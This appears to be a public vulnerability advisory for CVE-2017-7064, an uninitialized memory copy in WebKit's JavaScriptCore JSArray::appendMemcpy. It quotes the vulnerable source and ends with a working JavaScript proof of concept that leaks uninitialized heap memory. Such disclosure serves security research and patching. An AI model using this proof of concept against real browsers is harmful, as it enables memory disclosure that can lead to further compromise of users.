WebKit JSC JSArray::appendMemcpy Uninitialized Memory Copy

WebKit suffers from a JSC JSArray::appendMemcpy uninitialized memory copy vulnerability.


MD5 | fdfb04b663dc8d80c76b553252701587

 WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy 

CVE-2017-7064


WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy

Here's a snippet of JSArray::appendMemcpy.

bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
auto scope = DECLARE_THROW_SCOPE(vm);

if (!canFastCopy(vm, otherArray))
return false;

IndexingType type = indexingType();
IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
if (type == ArrayWithUndecided && copyType != NonArray) {
if (copyType == ArrayWithInt32)
convertUndecidedToInt32(vm);
else if (copyType == ArrayWithDouble)
convertUndecidedToDouble(vm);
else if (copyType == ArrayWithContiguous)
convertUndecidedToContiguous(vm);
else {
ASSERT(copyType == ArrayWithUndecided);
return true;
}
} else if (type != copyType)
return false;

...

if (type == ArrayWithDouble)
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
else
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);

return true;
}

The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.

PoC:
function optNewArrayAndConcat() {
let a = [,,,,,,,,,];
return Array.prototype.concat.apply(a);
}

function main() {
Array.prototype.constructor = {
[Symbol.species]: function () {
return [{}];
}
};

gc();

for (let i = 0; i < 0x10000; i++) {
optNewArrayAndConcat().fill({});
}

gc();

for (let i = 0; i < 0x20000; i++) {
let res = optNewArrayAndConcat();
if (res[0])
print(res.toString());
}
}

main();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


Related Posts

Comments